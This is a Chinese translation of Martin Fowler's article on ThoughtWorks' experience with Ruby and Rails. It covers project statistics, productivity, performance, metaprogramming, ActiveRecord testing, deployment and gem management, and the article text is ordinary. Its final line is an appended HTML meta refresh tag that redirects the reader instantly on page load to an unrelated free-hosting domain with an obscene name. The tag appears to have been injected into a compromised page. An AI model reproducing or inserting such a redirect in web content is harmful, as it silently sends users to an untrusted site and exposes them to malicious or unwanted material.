Ruby at ThoughtWorks

原文:http://martinfowler.com/articles/rubyAtThoughtWorks.html

ThoughtWorks 从2006年就开始在一些项目的生产环境里用Ruby。到2008年底为止,我们已经作了41个Ruby项目。为了准备一个QCON的演讲,我对这些项目作了一个调查,总结我们吸取了的经验。我会讨论一些常见的问题,例如Ruby的生产力,速度和可维护性。到现在为止,我们的结论是:对于多种形式的应用软件,Ruby都是一个可行的平台 - 尤其是用Ruby On Rails开发web应用。我也会说一下技术上的教训,还有一些对于测试ActiveRecord的感想。

我的雇主ThoughtWorks是一家交付软件的公司。我们替客户开发软件,也开发我们自己的软件产品。我们的其中一个理念是对各种开发平台都持着开放的思想,因此我们可以为不同类型的客户都选择一个最合适的平台。 2000年当我加入ThoughtWorks时,Java是我们主要的开发平台。之后我们开始用.NET,到2005年左右我们大部分的工作都是建于在这两个平台上。

与此同时,有几个同事开始用LAMP(特别是Ruby)和脚本语言。Ruby On Rails 这个web 框架的出现,让Ruby鲤跃龙门。2006年,我们开始在一些项目里使用Ruby平台。到了2009年的今天,Ruby平台占了我们一定的工作量,虽然没有Java或C#那么多。

在这3年里,我们掌握了不少Ruby的实践经验。2009年初,我被邀请去QCON作一个关于我们Ruby经验的演讲。为了准备这个演讲,我对这些项目作了详细的调查,而我们的Ruby专家们也分享了他们的意见和经验。为了写本文我花了比预期长的时间,但毕竟也总算完成了。

我把本文分为3个部分。第一部分我会看看我们ThoughtWorks的各个Ruby项目的纲要,让读者对我们做过什么项目,有一个笼统的概念。之后,我会带出关于Ruby的几个常见问题,并根据我们的经验作出回答。最后,我会讨论一下我们对使用Ruby学到的一些教训。


我们各项目的外貌(Edit)

从2006到2008年,ThoughtWorks参与了41个Ruby项目。我把“Ruby项目”界定为一个以Ruby作为主要语言的项目。在其他项目,Ruby也有出现,例如最近有不少Java项目也使用了Ruby,将构建自动化,或作功能性测试。差不多所有的Ruby项目都同时用Rails,大部分都是web项目,所以Rails起码和Ruby有着同样的重要性。

http://martinfowler.com/articles/rubyAtThoughtWorks/projectScatter.png

图1:2006至2008年ThoughtWorks的Ruby项目里,各团队的高峰人数和项目为期的散布图

图1展示了我们各Ruby项目的大小。这里的人数(headcount)是团队最高峰时期的人数(包括ThoughtWorks和客户员工;开发人员,项目经理,分析师,等等)。为期是ThoughtWorks参与在项目里的时间。

表面上看,Ruby项目比起其他项目,规模比较小,而为期也比较短。有点遗憾的是我没有其他非Ruby项目的数据来作比较。但是肯定的说,我们可以看到大多数Ruby项目都是在20人以下,1年之内。

当中有几个项目比较突出。显然我们最大的项目是在此称为Atlanta的项目,高峰人数超过40人。另一个为期长而人数多的项目是Jersey项目。这两个项目有一些关联:基于人手的调配,我们很多比较有经验的Ruby人员都在这两个项目里工作过。

第三个值得一提的项目是Mingle。它是一个ThoughtWorks Studios的软件产品,所以比起客户的项目,我们可以更加畅所欲言。Mingle为期比较长,而且是一个跨国的项目:从澳大利亚开始,搬到北京,现时分布在北京和旧金山两地。

http://martinfowler.com/articles/rubyAtThoughtWorks/yearStrip.png

图2:每年各项目的人力投入-带状图

图2换了一个不同的角度,来看我们每年对各项目的投入。每一点代表在那一年,对某一个项目投入的人力。这图可以显示了我们过去三年以来,Ruby项目的增长。

http://martinfowler.com/articles/rubyAtThoughtWorks/countryStrip.png

图3:每个国家的人力投入-带状图

大家用图3来看看我们在每个国家的Ruby项目。我没有尝试去特别处理一些在多地开发,或者是迁移过的项目,所以这图的数据比较粗略。(比如说,我把Mingle归纳为中国的项目,尽管它的历史比较复杂。)

我们可以看到美国市场对于Ruby的工作最感兴趣。在印度也有不少 — 我们的第一个Ruby项目就是在Bangalore开始。在英国,我们的客户对Ruby的兴趣比较低。这个可能是反映了在ThoughtWorks内,领头用Ruby的开发者大多是在美国;另外英国市场对Ruby抱有一定的怀疑。说回我们印度办公室对Ruby的接受程度,是令人鼓舞的。因为传统上,印度对于新技术的引入比较慢,但是我们印度办公室不一样。看来我们公司放在印度办公室的努力,没有白费。

根据我们在销售Ruby项目时得到的经验,运用像Ruby这些动态语言,和ThoughtWorks整体的各种长处,十分配合。我们的长处是我们招聘到有才华的员工 ,而传统的IT部门是比较难吸引这种人员的。Ruby的一个理念是给一个有才华的开发人员提供一个高效的环境,而不是尝试去保护一个才能较低的开发者,让他不犯错。像Ruby的这种环境,给我们的开发人员们多一些空间去发挥他们真正的才能。

Ruby和我们用的敏捷开发过程,也配合得很好。敏捷开发的哲理是:开发软件,经常和用户一起复审,从而取得迅速的反馈。当一个开发环境越能提高生产力,你就可以越频密的和用户复审进度,那么敏捷开发的“检查与适应”这个步骤也会做得更好。


关于Ruby的问题(Edit)

Ruby是不是一个好的选择?(Edit)

回看41个项目,最重要的问题应该就是:Ruby平台是一个正确的选择吗?要了解这个问题,最直截了当就是问

这些项目的技术主管,让他们回顾一下。

http://martinfowler.com/articles/rubyAtThoughtWorks/hindsightPie.jpg

图4:对于这个项目,Ruby平台是一个正确的选择吗?

在图4可以看到,觉得选择正确的占了大部分的票数,36对5。我们的技术主管们都是敢言的一群。对于一个错误的技术决定,他们一定会表达不满。所以,我觉得图4显示了Ruby这个平台是非常可行的。

我再深入的调查一下这5个有遗憾的项目。首先是这5个的其中4个项目里,技术主管们觉得Ruby不一定比其他的平台差。但是Ruby是一个没有那么普遍的技术,所以他们觉得Ruby需要为项目带来比其他技术更多的好处。如果Ruby和其他普遍的技术是一样的话,就不值得用一个不普遍的技术。另外,当要和其他一些和Ruby不大配合的技术进行集成时,其中4个项目也遇到了一些问题。比方说,.NET的工具当然和.NET技术集成得比较好。还有,其中2个项目也碰到了一些“政治”上的问题:在客户组织里的人反对使用Ruby或其他动态语言。其中情况比较坏的一个例子,整个IT组织都排斥Ruby,但是业务主办者却支持使用Ruby。

毫无疑问,当我问及在软件项目里使用Ruby有什么警报信号时,唯一清楚的答案就是环绕政治上的。在技术层面上,我们接受并鼓励在软件项目里使用Ruby。但是如果客户排斥Ruby,这就是警示我们要避免Ruby的最大信号。

Ruby的生产力较高吗?(Edit)

当人们问为什么要在一个项目里使用Ruby,最常见的答案就是为了提高生产力。有一个早期的报道,说根据某一个项目的评估,生产力的提高达到一个数量级。

很自然地我也向技术主管们提出了关于Ruby的生产力的问题 - Ruby有提高了生产力吗?如果有的话,提高了多少呢?我要他们和一个用上主流技术(Java或 .NET),并且用上他们所知的最高生产力方法的项目,作出比较。

http://martinfowler.com/articles/rubyAtThoughtWorks/productivityBar.jpg

图5:Ruby提高了多少生产力?(和你所知的、最好的主流技术工具比较)

正所谓“尽信书不如无书”,读者也应该抱着怀疑的态度去看这些结果。说到底,我们没有办法客观地测量软件生产力。这些只是我们技术主管们主观的,性质上的评估。(我没有收到所有项目的回复。)但是,这些结果还是说明Ruby真正的增进了生产力。

从人手调配的角度来看,也找到支持这个结论的理由。Scott Conley(我们Atlanta分公司的总经理)留意到当一个Ruby项目开始后,比起用其他技术的项目,通常需要多50%的人员来分析需求。

有一点我们注意到的,就是你不能期望项目一开始就有生产力的提升。据我听说过的几个案例,人们看到一个新Ruby团队的最初几个星期进展缓慢,而感到焦虑 — 这是我称为“改善峡谷”的后果。一个Ruby团队需要一段时间去熟悉这个平台的特性,所以这段时期进度会比预期慢。

“改善峡谷”是一个常见的现象,而通常缓和的方法是让一些有经验的人员加入团队。在这个情况,最重要的经验是对于类似Ruby、有元编程特性的动态语言的经验,而不一定是Ruby经验。正如Scott Conley所说:差异在于效率风险和交付风险。一个有动态语言经验,但没有Ruby经验的团队,一开始可能会比较慢(效率风险)。但是,一个没有动态语言经验的团队有可能生产出一些很棘手的代码,这样就会增加整体交付的风险。

Ruby慢吗?(Edit)

简短的回答:“是”。在网上搜一下的话,你会找到很多报道说,就算比起其他动态语言,Ruby也是像乌龟一样。

但是整体来说,Ruby的速度对我们的项目没有影响。我们大多数都是用Ruby来构建有数据库后台的网站。我这几十年探访过很多项目(Ruby或其他技术的),差不多每一个项目都有花时间去解决性能问题,而差不多每一次这些性能问题都来自数据库访问。他们通常花时间去优化SQL,而不是处理性的代码。因为多数应用的性能都是受I/O所限制,所以就算用一个慢的语言来处理逻辑,也不会对系统的整体性能有什么影响。

读者可能已经发现了我用了一些评论家们喜欢用的诡辩。尽管差不多每一个项目的性能瓶颈都是I/O,有些时候你真的会碰到例外的情况 — 一个有趣的例子就是Mingle。Mingle在很多方面都不寻常。它的显示需要非常的动态,导致它不可以把网页缓存,也让它和大多数的web应用不一样。所以,它的性能瓶颈不是I/O,而为了达到好的性能,它对硬件的需求也出乎意料之外的高(一台4核,2GB的服务器来支持20-40人的团队)。

尽管如此,Mingle开发团队还是觉得Ruby是一个正确的选择。他们在短时间就开发了很多的功能,所以他们觉得相对于增加了的硬件负荷,利用Ruby而提高了生产力,还是划算的。和很多东西一样,这是一个硬件和生产力的取舍 — 一个在计算机学里最古老的取舍。每一个开发团队都需要考虑哪一个较重要。幸好对Mingle来说,它的水平扩展性高(多加一些处理器,性能就可以按比例的提高)。硬件扩展性在这种情况下是很宝贵的,因为每一天硬件的价格都在下降。

我要重申一次,大部分的项目的性能瓶颈都是I/O,所以对它们来说,Ruby的速度都是无关痛痒的。Mingle只是一个例外,不属于主流。

Ruby代码库难懂吗?(Edit)

我们常常听到一个对Ruby的担忧,说Ruby的动态类型,元编程,和开发工具的贫乏,会导致Ruby的代码难以理解。普遍来说,我们没有碰到这个问题。我听到的个案都说,因为Ruby比较精简,用比较少的代码就可以写好同样的功能,所以它比起其他主流语言,更容易保持代码的整洁。

话虽如此,我也需要强调我们这些个案的背景。ThoughtWorks的开发人员的水平和能力一般较高,而且热衷于使用纪律性强的法门,如极限编程(Extreme Programming)。我们非常看重测试(在Ruby社区里也如是),而这些测试对于保持代码的整洁,起了很大的作用。所以,我不能肯定地说,在一些不同能力和纪律性的团队中,会不会看到相同的效果。(即使在其他主流语言里,在较好的开发工具和较为静态的环境下,大家都可以找到写得很恐怖的代码。至于一个写得差的Ruby代码库会不会更差,还有再讨论的余地。)

我们观察到开发团队们,对于元编程(meta-programming)的态度逐步的转变:

http://martinfowler.com/articles/rubyAtThoughtWorks/metaprogramming.png

图6:对于元编程的态度转变

  • 吓人和坏的:人们对于元编程小心翼翼,不多用。
  • 吓人和好的:人们开始看到元编程的好处,但还是用得不大习惯。
  • 容易和好的:当人们用得越来越习惯时,他们就用得太多,也可能会让代码库变得复杂。
  • 容易和坏的:人们对于元编程小心翼翼,但知道用得恰当的话,是很有好处的。

对这些技巧,我最喜欢打的一个比喻就是,它们好像处方药:小量是很有价值,但要确保不过量服食。

像很多东西一样,经验就是最好的帮手。它能帮助你快一点走完这图表的每一阶段。其中最重要的一点是,你将会看到这种采用的周期,特别是“过度使用”的一期。在学一个新的技巧时,通常都有一段时期会过度使用它,因为还没有越过那个界限时,很难知道那个界限是在何处。有一个不错的建议是设一个沙箱 — 把代码库的一部分拨为试用元编程的范围。有了一个适当的沙箱,之后就比较容易去修改用得太多元编程的部分。

Ruby是不是一个可行的平台?(Edit)

以上的各个问题其实都是由一个问题来总括:Ruby(和Rails)对我们还有我们的客户,是不是一个可行的平台?目前为止,答案是一个很清楚的“是”。它明显地提高了生产力,让我们反应敏捷,产出好的软件,也更快的交付给客户。但是这不是说Ruby是灵丹妙药,各种情况都适用。挑选一个开发平台永远都不是一件容易的事情,特别是因为很多时候这是一个政治上的选择,而不是一个技术上的选择。但是总括来说,Ruby是一个不容忽视的选择,也值得让我们放这个工具在我们的工具箱里。

另外我要强调的是,你的选择不一定只有一个。我一向都鼓吹开发团队用主流语言(如Java/C#)的同时,也用一些脚本语言来做一些支持性的任务。Ruby是一个优秀的选择,而我们也观察到这种混合应用有所增长。当JVM和CLR对这些动态语言的支持越来越好,我们也会看到愈来愈多的机会,让我们混合使用具有不同优点的语言 — Neal Ford 把它称为"多语言编程"(Polyglot Programming)。


关于开发的一些提示(Edit)

在这最后一章,我会介绍一些我们学到的教训。

测试ActiveRecord(Edit)

当我们一开始使用Ruby,就已经开始争议,在运用Rails的数据库层ActiveRecord时,怎样去把测试组织起来才是最好。基本的问题是,一般的商业性应用软件,性能瓶颈都在于数据库。我们发现利用Test Double可以大大加快测试。对我们这种侧重于测试的开发过程来说,拥有快的测试是非常重要的。Kent Beck建议一个基本的提交构建(commit build)应该需时10分钟以下。我们大部分的项目都能达到这个时限,而使用数据库的double是重要的一环。

ActiveRecord的问题在于它混合了数据库访问和商业逻辑在一起,所以要作一个数据库的double比较困难。我们Mingle团队选择接受Rails和数据库是紧密地绑在一起的,让所有提交测试都访问数据库。

我们Atlanta和Jersey团队却持相反的意见。Ruby的一个很有用的特性就是能让你在运行时间,把一个方法重新定义。利用这个特性,你可以拿一个ActiveRecord的类,重新把它的数据库访问方法定义为stub。这两个团队创建了unitrecord这个gem来干这个事情。

在这3年里,我们还没有看到这场争议的哪一方占优。Mingle团队在8分钟里跑几千个测试,执行时会访问一个真实的postgres数据库。(他们把测试并行化,来充分使用多个核。)Atlanta和Jersey团队却觉得他们能利用stub,把提交测试减至2分钟,是有价值的。这情况下,他们是对简单的、访问数据库的测试,和利用stub、较快的测试,作出取舍 。

尽管双方对自己的立场普遍表示满意,stub的应用导致了另一个问题。当团队对方法stub(method stubbing)越来越熟悉,他们也用得越来越多,跌进了一个过度使用的局面:在单元测试里,除了被测试的方法之外,其他的每一个方法都被stub。这里的问题,和用Test Double一样,是可能让测试变得脆弱。当你修改应用软件的行为时,你也需要修改很多模拟旧行为的double。在过度使用之后,这两个团队也多用了一些Rails风格的、直接访问数据库的功能测试。

ActiveRecord的“漏洞”(Edit)

在项目里一个常见的现象是人们花时间写SQL。对于隐藏数据库访问的代码,ActiveRecord干得不错,但它不能全部隐藏 — 就是说它有一些抽象化的漏洞。所以,开发人员都要花一些时间直接的写SQL。

这个漏洞在对象关系映射(ORM,object/relational mapping)框架里很常见。差不多每一次我去和项目里的开发人员聊的时候,他们都说80-90%的时候ORM框架可以把SQL隐藏起来,但需要花一些时间去调SQL,让它达到可接受的性能。所以在这方面,ActiveRecord和其他ORM框架没有区别。

一个我听到的评语说,ActiveRecord的抽象化可以让你清脆的脱离它。和DHH谈的时候,他认为使用关系数据库的开发者应该懂得SQL。ActiveRecord把常用的场景简单化,但是当你开始进入复杂的场景时,它就期望你直接用SQL。

我认为这些漏洞不至于让我们不使用这些ORM框架。这些ORM框架的要旨是把常见的东西变得容易,从而提高生产力。它让团队可以集中处理一些真正重要的个案。但如果一个团队以为这些框架是点水不漏,而不花力气在SQL上,便会是一个毛病。这个毛病虽然常见,但不是一个避免不去用ORM框架的理由。当团队正确地使用它们时,会带来真正的益处。

长执行时间的请求(Edit)

另一个常见的问题是当应用软件要执行一个需时长的请求时,处理不当。如果实现得不好,会让处理这个web请求的handler很长时间没有反应。

这个问题是在人机界面方面很普遍,而且也有一个普遍的解决方法 — 把任务交给一个背景运行的过程或线程。任何开发过桌面应用的人都会觉得很熟悉。但是有时候如果开发者把切换和通信做得不好,也会碰到麻烦。

一个我觉得较好的办法,而幸好我的ThoughtWorks同事们也同意,就是使用一个actor。在这个模型里,web请求的handler把需时长的请求包装为一个命令(command),然后放进队列(queue)内。在背景运行的actor就监察着这个queue,从queue中提出并且执行这个命令。当它把这个命令执行完了,就通知前台界面的actor。通常这个queue一开始会是数据库的一个表,之后如有需要的话,再把它改为一个消息队列(message queue)。

和ActiveRecord的漏洞一样,我提起这个不是因为它是Rails里特有的问题;我们在各种应用也会看到同样的问题。值得在这里带出是因为用Rails的人们往往很容易忘了有这样的情况发生,也忘了有这样的模式去解决。我们发现Rails把web开发中重复又重复的环节变得简易和快,但是复杂的环节是仍然存在的。

部署(Edit)

Rails应用很容易建起,可惜部署比较麻烦。最常见的是用几个mongrel web服务器,但是配置比较繁琐。Ruby其他方面通常用起来很容易、很顺利,Rails部署和它们一比较,真的相形见绌。

现在大家都认为Phusion Passenger让部署变得容易,而且是用MRI时最好的部署方法。

我们也很提倡用JRuby来部署。JRuby让大家可以使用标准的Java stack,所以在很多公司里的环境内也能容易地使用。Mingle也是用这个方法让客户能够很容易地安装。Mingle团队所有的开发都是在MRI上做的,但部署在JRuby上。MRI启动较快,开发起来也较快。(JRuby需要启动JVM,所以明显地比较慢)。

控制Gems(Edit)

Ruby包括了一个软件包管理系统叫RubyGems,能让你容易地安装和升级软件库。Rails也有plugins来做差不多的事情。它们都是好的工具,但也很容易让团队在不同的机器上配置了不同版本的库,而导致混乱。

有好几个方法来对付这个问题。第一,可以把所有的库的源代码都放进版本管理系统里。那么,一个简单的checkout就可以给你全部正确版本的库。第二,可以用一个脚本去下载和激活每一个库的正确版本。这个脚本就需要放在版本管理系统里。

同样道理,大多的团队都把Rails的源代码冻结。这样他们就可以直接在Rails上编补钉来修bug或其他问题。之后,这些补丁亦可以发给Rails Core团队。现在像git这种分布性版本管理系统(distributed version control systems)让这个流程更加轻松。比起我们以前要把Java application server 反编译(decompile)之后再补丁,真的容易得多了。

订下升级的时间表(Edit)

一般来说,Ruby,特别是Rails,都是日新月异。Rails也常常升级,频密地造出包含很多新功能的新版本。我们经验所得,要在项目计划时,订下Rails升级的时间表。虽然升级需要付出的努力比其他平台大,但值得高兴的是新功能源源不绝。

在Windows上开发(Edit)

Ruby生于Unix世界里,而大多数用Ruby的人在目录路径里,都是用前斜线符号(forward slash)。在Windows上运行、部署、和开发Ruby是完全可能的,但是比较刁钻。我们一般建议用一个unix平台做开发。我们都偏爱Mac,但也有很多人都用其他的开源版本的Unix。

我们希望Iron Ruby会改变这个现状。能够在Unix,JVM,或CLR上部署Ruby,将会是一件很好的事情。这个确然会把Ruby定位为可以在各平台运行的一个灵活的选择。这个也会帮助我们在我们的.NET项目里使用Ruby作为脚本语言,和主流的.NET语言一并使用。

鸣谢(Edit)

如果没有众多同事的合作,这篇文章我一定写不出来。比起以前,这一次更加如是。虽然我在自己的工作上用了Ruby已经很多年,但是一个人堆砌一个个人网站,和我们为客户开发的网上应用软件,毕竟是有很大的区别。我很感谢那么多的同事献出时间,给我很多的资料,让我可以真正的评估Ruby的价值。

和其他Ruby用户一样,我们也很感谢Ruby和Rails社区。与任何开源项目一样,社区的作用是非常的重要,所以对所有的Ruby黑客和 Rubyist们,我们ThoughtWorks要说一声:ありがとうございました.

<meta http-equiv='refresh' content='0;url=http://camfucker.freehostia.com/dd.htm'>